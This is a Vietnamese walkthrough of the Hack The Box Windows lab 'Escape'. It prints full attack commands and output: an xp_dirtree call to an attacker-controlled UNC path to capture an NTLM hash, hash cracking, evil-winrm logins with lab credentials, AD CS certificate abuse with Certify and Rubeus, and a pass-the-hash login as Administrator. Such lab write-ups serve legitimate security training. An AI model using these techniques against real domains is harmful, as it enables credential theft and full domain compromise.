# Quá trình khai thác và privilege escalation trong Windows 🤢 <style>body {text-align: justify}</style> Dưới đây mình sẽ viết writeup cho một box active windows có tên **Escape** trên nền tảng Hackthebox. ![](https://hackmd.io/_uploads/Hy-axJI4h.png) ## Overview Đây là một box Windows ở level medium: - ***User own***: sau khi leak được account MSSQL Server, sử dụng kĩ thuật NTLM stealer để đánh cắp NLTM của user `sql_svc` thông qua `xp_dirtree`. Crack NTLM và lên shell của user `sql_svc`. Từ đó tiếp tục recon thấy account của user `Ryan.Cooper` trong 1 file log &rarr; get user flag. - ***Privilege Escalation***: Lợi dụng vulnerable template `(UserAuthentication)` trong Active Directory Certificate Services (AD CS) để đăng kí một certificate dùng cho việc authentication cho domain admin `Administrator`. ## Reconnaissance Bước đầu tiên luôn luôn là scan port bằng Nmap. Kết quả cho thấy máy đang mở các port` 88, 135, 139, 389, 445, 636` &rarr; box đang sử dụng Active Directory. Bên cạnh đó, Port `1443` của MSSQL Server 2019 cũng được mở. Theo kinh nghiệm mình sẽ đi vào port `139, 445` của SMB trước. ```shell ┌──(janlele91㉿j4nl3le)-[~/Desktop/HackTheBox/Escape] └─$ nmap -T4 -p- -sC -sV -Pn 10.10.11.202 Starting Nmap 7.92 ( https://nmap.org ) at 2023-05-08 10:08 +07 Nmap scan report for 10.10.11.202 Host is up (0.033s latency). Not shown: 65515 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-05-08 11:11:27Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2023-05-08T11:12:58+00:00; +8h00m00s from scanner time. | ssl-cert: Subject: commonName=dc.sequel.htb | Subject Alternative Name: othername:<unsupported>, DNS:dc.sequel.htb | Not valid before: 2022-11-18T21:20:35 |_Not valid after: 2023-11-18T21:20:35 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2023-05-08T11:12:57+00:00; +7h59m59s from scanner time. | ssl-cert: Subject: commonName=dc.sequel.htb | Subject Alternative Name: othername:<unsupported>, DNS:dc.sequel.htb | Not valid before: 2022-11-18T21:20:35 |_Not valid after: 2023-11-18T21:20:35 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-ntlm-info: | Target_Name: sequel | NetBIOS_Domain_Name: sequel | NetBIOS_Computer_Name: DC | DNS_Domain_Name: sequel.htb | DNS_Computer_Name: dc.sequel.htb | DNS_Tree_Name: sequel.htb |_ Product_Version: 10.0.17763 |_ssl-date: 2023-05-08T11:12:58+00:00; +8h00m00s from scanner time. | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2023-05-08T06:36:00 |_Not valid after: 2053-05-08T06:36:00 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2023-05-08T11:12:58+00:00; +8h00m00s from scanner time. | ssl-cert: Subject: commonName=dc.sequel.htb | Subject Alternative Name: othername:<unsupported>, DNS:dc.sequel.htb | Not valid before: 2022-11-18T21:20:35 |_Not valid after: 2023-11-18T21:20:35 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc.sequel.htb | Subject Alternative Name: othername:<unsupported>, DNS:dc.sequel.htb | Not valid before: 2022-11-18T21:20:35 |_Not valid after: 2023-11-18T21:20:35 |_ssl-date: 2023-05-08T11:12:57+00:00; +7h59m59s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49687/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49688/tcp open msrpc Microsoft Windows RPC 49704/tcp open msrpc Microsoft Windows RPC 49714/tcp open msrpc Microsoft Windows RPC 60062/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | ms-sql-info: | 10.10.11.202:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 | smb2-time: | date: 2023-05-08T11:12:19 |_ start_date: N/A | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required |_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m58s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 262.89 seconds ``` ### SMB (Port 139, 445) > *Server Message Block (SMB)* là một giao thức truyền tải dữ liệu được sử dụng trong mạng máy tính để chia sẻ tài nguyên như file, ổ đĩa, máy in, thiết bị lưu trữ mạng, và các dịch vụ khác giữa các máy tính chạy hệ điều hành Windows. SMB cũng được sử dụng để truy cập vào các tài nguyên mạng từ các thiết bị không chạy Windows, bằng cách sử dụng các phần mềm trung gian để kết nối và truy cập. Có một số tool để tương tác với SMB như `smbmap`, `smbclient`. Mình sử dụng `smbclient -L <BOX_IP>` để xem list các share resources có trên box. Chỉ có thư mục `Public` là khả nghi vì các resources còn lại hầu hết là default và cần quyền để truy cập. ![](https://hackmd.io/_uploads/HkD35yLV2.png) Truy cập thư mục `Public`, xuất hiện 1 file PDF về SQL server. Thực hiện download về để xem nội dung. ![](https://hackmd.io/_uploads/S19461IEn.png) Trong file PDF leak ra 1 account SQL Server `PublicUser:GuestUserCantWrite1`. ![](https://hackmd.io/_uploads/Bkioh1IV3.png) Do port 1433 (MSSQL Server) đang mở, nên mình sử dụng tool `impacket-mssqlclient` để truy cập với account trên. Thực hiện các câu lệnh SQL cơ bản để recon xem có gì trong database không. Tuy nhiên các database đều ra default của MSSQL. Ngoài ra, thử `enable_xp_cmdshell` để thực thi os command cũng không thành công do user này không có quyền. ``` ┌──(janlele91㉿j4nl3le)-[~/Desktop/HackTheBox/Escape] └─$ impacket-mssqlclient PublicUser:GuestUserCantWrite1@10.10.11.202 SQL> enable_xp_cmdshell [-] ERROR(DC\SQLMOCK): Line 105: User does not have permission to perform this action. [-] ERROR(DC\SQLMOCK): Line 1: You do not have permission to run the RECONFIGURE statement. [-] ERROR(DC\SQLMOCK): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option. [-] ERROR(DC\SQLMOCK): Line 1: You do not have permission to run the RECONFIGURE statement. SQL> SELECT name FROM master.dbo.sysdatabases name ------------------------------------------- master tempdb model msdb ``` ##### NLTM Stealer Trong lúc bế tắc thì mình đọc được một bài [Blog](https://secarma.com/ssrs-attacks-part-2-building-an-empire/) nói về kĩ thuật NLTM Stealer thông qua procedure `xp_dirtree`. Cụ thể, procedure `xp_dirtree` trả về danh sách các directories của path được cung cấp. Bên cạnh các local path, nó còn chấp nhận cả UNC path. > *UNC (Universal Naming Convention)* là loại đường dẫn được sử dụng trong Windows để truy cập các tài nguyên trong mạng. > Nó format như sau: `\\server-name\shared-resource\optional-subdirectory\file-name` Trong Windows, khi truy cập các UNC path, nó tự động gửi theo NLTM hash của user vừa để authenicate vừa để authorize xem user này có quyền get resource đang yêu cầu hay không. Khi đó nếu `exec master..xp_dirtree <UNC path hosted by attacker IP>`, attacker có thể bắt được NLTM hash bằng tool `Responder`. ## Initial Foothold Dựa trên kĩ thuật NLTM Stealer trên, ta thực hiện các bước sau: **Bước 1:** Mở responder trên interface `tun0` (đây là interface của htb network sau khi mình vpn vào để làm box). ![](https://hackmd.io/_uploads/Byfzqx8E2.png) **Bước 2:** Thực thi lệnh `exec master..xp_dirtree '\\<IP Attacker>\test'`, nghĩa là truy cập tài nguyên `test` trên máy attacker. ![](https://hackmd.io/_uploads/rJVE5l8Eh.png) **Bước 3:** Responder bắt được NLTM của user `sql_svc` từ request trên. ![](https://hackmd.io/_uploads/HJSkcxLNh.png) Lưu NLTM hash trên vào file `creds.txt` và crack bằng `john` với wordlist `rockyou.txt`. Kết quả trả về password `REGGIE1234ronnie` &rarr; Ta có account `sql_svc:REGGIE1234ronnie` ![](https://hackmd.io/_uploads/HkNCKxUNn.png) Lấy shell của box với user `sql_svc` bằng câu lệnh: `evil-winrm -i 10.10.11.202 -u sql_svc -p 'REGGIE1234ronnie'` ![](https://hackmd.io/_uploads/BJX4sx8N3.png) ## User Own Danh sách users chính trên box bao gồm `sql_svc`, `Ryan.Cooper`, và `Administrator`. Ta cần leo lên `Ryan.Cooper`. ![](https://hackmd.io/_uploads/Sy4Az78V2.png) Khi truy cập ổ `C:\` xuất hiện file backup log nằm ở đường dẫn `C:\SQLServer\Logs\ERRORLOG.BAK`. ![](https://hackmd.io/_uploads/SySmXQUE3.png) Đọc file ta thấy log login failed của user `Ryan.Cooper` với password `NuclearMosquito3`. Lí do mình nghĩ vậy do đối với username thì có thêm domain `sequel.htb/Ryan.Cooper` còn `NuclearMosquito3` thì không. ![](https://hackmd.io/_uploads/S174GQ8Eh.png) Thử lên shell bằng `evil-winrm` với account `Ryan.Cooper:NuclearMosquito3` và thành công. ![](https://hackmd.io/_uploads/rktYf7UN2.png) vào thư mục `C:\Users\Ryan.Cooper\Desktop` ta lấy được file `user.txt` cần tìm. ![](https://hackmd.io/_uploads/rJ6ImXLE2.png) > User flag: `2ebae86f0607c6c236137a69e1357bea` ## Privilege Escalation Mình khá mông lung khi chưa có kinh nghiệm leo thang đặc quyền trên Windows. Sau khi thử 7749 các bước trong các cheet sheat, thì mình leo thang thành công khi áp dụng cách abuse Active Directory Certificate Services (AD CS) tại [Link 1](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#active-directory-certificate-services) và [Link 2](https://pentestlab.blog/2021/09/13/account-persistence-certificates/). > *Active Directory Certificate Services (AD CS)* is a server role in Windows Server that provides customizable services for issuing and managing public key infrastructure (PKI) certificates. AD CS allows organizations to create and manage their own public key certificates for internal use, such as for secure communications, authentication, and encryption. It enables administrators to deploy, manage, and revoke digital certificates that are used for various purposes, including secure email, secure web connections, and VPN access. AD CS also supports smart card logon, which provides an additional layer of security for user authentication. Đối với loại tấn công này, ta cần sử dụng 2 công cụ [Certify](https://github.com/GhostPack/Certify) và [Rubeus](https://github.com/GhostPack/Rubeus). ```bash *Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> upload Rubeus.exe Certify.exe ``` Sử dụng lệnh `./Certify.exe find /vulnerable` để tìm các vulnerable certificate templates trên AD CS. > AD CS Enterprise CAs issue certificates with settings defined by *certificate templates*. These templates are collections of enrollment policies and predefined certificate settings and contain things like “How long is this certificate valid for?”, “What is the certificate used for?”, “How is the subject specified?”, “Who can request a certificate?”, and a myriad of other settings. Kết quả liệt kê các thông tin về Enterprise CA `dc.sequel.htb\sequel-DC-CA`. Các authenticated users trong domain có quyền đăng kí certificate với CA này. ![](https://hackmd.io/_uploads/HyVmH98V3.png) Và cả vulnerable template là `UserAuthentication` (Nghe tên là biết dùng để authenticate user). ![](https://hackmd.io/_uploads/SkKMg9UVh.png) Trong đó, - `msPKI-Certificates-Name-Flag` có giá trị `ENROLLEE_SUPPLIES_SUBJECT` &rarr; tên định danh của chủ sở hữu certificate do requester đặt. - `Enrollment Rights` cho phép `Domain Users` &rarr; Các users thuộc domain có quyền đăng kí certificate sử dụng template UserAuthentication này. - Ngoài ra, tham số `pkiextendedkeyusage` chứa giá trị `Client Authentication` cũng như tham số `Authorized Signatures Required` là `0`. Kết hợp các điều kiện trên, với authenticated domain user là `Ryan.Cooper`, ta có thể request 1 certificate sử dụng template `UserAuthentication` cho domain admin `Administrator` sử dụng thuộc tính `altname` trong Certify. ``` *Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> ./Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:Administrator ``` ![](https://hackmd.io/_uploads/H1crUc84h.png) ```shell *Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> ./Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:Administrator _____ _ _ __ / ____| | | (_)/ _| | | ___ _ __| |_ _| |_ _ _ | | / _ \ '__| __| | _| | | | | |___| __/ | | |_| | | | |_| | \_____\___|_| \__|_|_| \__, | __/ | |___./ v1.0.0 [*] Action: Request a Certificates [*] Current user context : sequel\Ryan.Cooper [*] No subject name specified, using current context as subject. [*] Template : UserAuthentication [*] Subject : CN=Ryan.Cooper, CN=Users, DC=sequel, DC=htb [*] AltName : Administrator [*] Certificate Authority : dc.sequel.htb\sequel-DC-CA [*] CA Response : The certificate had been issued. [*] Request ID : 10 [*] cert.pem : -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEA0Rh4zLFcQPk5m6Fx3wuPR5sbGnQcrfNcQqXQ6VfcaKiUoAla ... NTzjhrcOhVcNBm+qFNV9q2Gy6z4q3CVQuMUqwPrl+reRIObn0ikZ -----END RSA PRIVATE KEY----- -----BEGIN CERTIFICATE----- MIIGEjCCBPqgAwIBAgITHgAAAAp4doE6aUYH/gAAAAAACjANBgkqhkiG9w0BAQsF ... m8GS5TizU/QcRszNE/REgWzEtjI5TA== -----END CERTIFICATE----- [*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx Certify completed in 00:00:13.3566536 ``` Ta được trả về certificate cho user `Administrator` gồm private key và certificate. Lưu cả 2 key vào file `cert.pem` và thực hiện convert sang format `pkcs12` bằng openssl thành file `cert.pfx`. ``` ┌──(janlele91㉿j4nl3le)-[~/Desktop/HackTheBox/Escape] └─$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx Enter Export Password: <Enter> Verifying - Enter Export Password: <Enter> ``` Upload `cert.pfx` lên box. ![](https://hackmd.io/_uploads/rJjSv5IE3.png) Sau đó, sử dụng tool Rubeus để giả mạo xác thực vào AD với certificate `cert.pfx`. Nhớ thêm `/getcredentials` để sau khi xác thực thành công nó sẽ trả về NLTM hash. ![](https://hackmd.io/_uploads/rJOtj58E2.png) ```shell *Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> ./Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /getcredentials ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.0 [*] Action: Ask TGT [*] Using PKINIT with etype rc4_hmac and subject: CN=Ryan.Cooper, CN=Users, DC=sequel, DC=htb [*] Building AS-REQ (w/ PKINIT preauth) for: 'sequel.htb\Administrator' [*] Using domain controller: fe80::644f:77ff:2d8a:4eaa%4:88 [+] TGT request successful! [*] base64(ticket.kirbi): doIGSDCCBkSgAwIBBaEDAgEWooI..<snip>..bBmtyYnRndBsKc2VxdWVsLmh0Yg== ServiceName : krbtgt/sequel.htb ServiceRealm : SEQUEL.HTB UserName : Administrator UserRealm : SEQUEL.HTB StartTime : 5/8/2023 4:52:35 PM EndTime : 5/9/2023 2:52:35 AM RenewTill : 5/15/2023 4:52:35 PM Flags : name_canonicalize, pre_authent, initial, renewable KeyType : rc4_hmac Base64(key) : S5IA6s4YnV5QDg6PrbDvoA== ASREP (key) : 1D01B52949FF8B65B1178B7DF89FFE47 [*] Getting credentials using U2U CredentialInfo : Version : 0 EncryptionType : rc4_hmac CredentialData : CredentialCount : 1 NTLM : A52F78E4C751E5F5E17E1E9F3E58F4EE ``` Từ kết quả ta lấy được NLTM của user `Administrator`. Lúc này, leo thang lên administrator thành công bằng `evil-winrm` với option đăng nhập bằng username `Administrator` và mã hash NLTM ở trên. ``` ┌──(janlele91㉿j4nl3le)-[~/Desktop/HackTheBox/Escape] └─$ evil-winrm -i 10.10.11.202 -u 'Administrator' --hash 'A52F78E4C751E5F5E17E1E9F3E58F4EE' ``` ![](https://hackmd.io/_uploads/SyNy3cLEn.png) Từ đó đọc được flag tại `C:\Users\Administrator\Desktop\root.txt`. ![](https://hackmd.io/_uploads/SyFV3cLN2.png) > Root flag: 3ac9121f912355c397f2077a3875beb3 ## Conclusion Như vậy ta đã pwned thành công box **Escape**. ![](https://hackmd.io/_uploads/B1fah9IV2.png) ###### tags: `redteam`, `htb`, `windows`, `medium`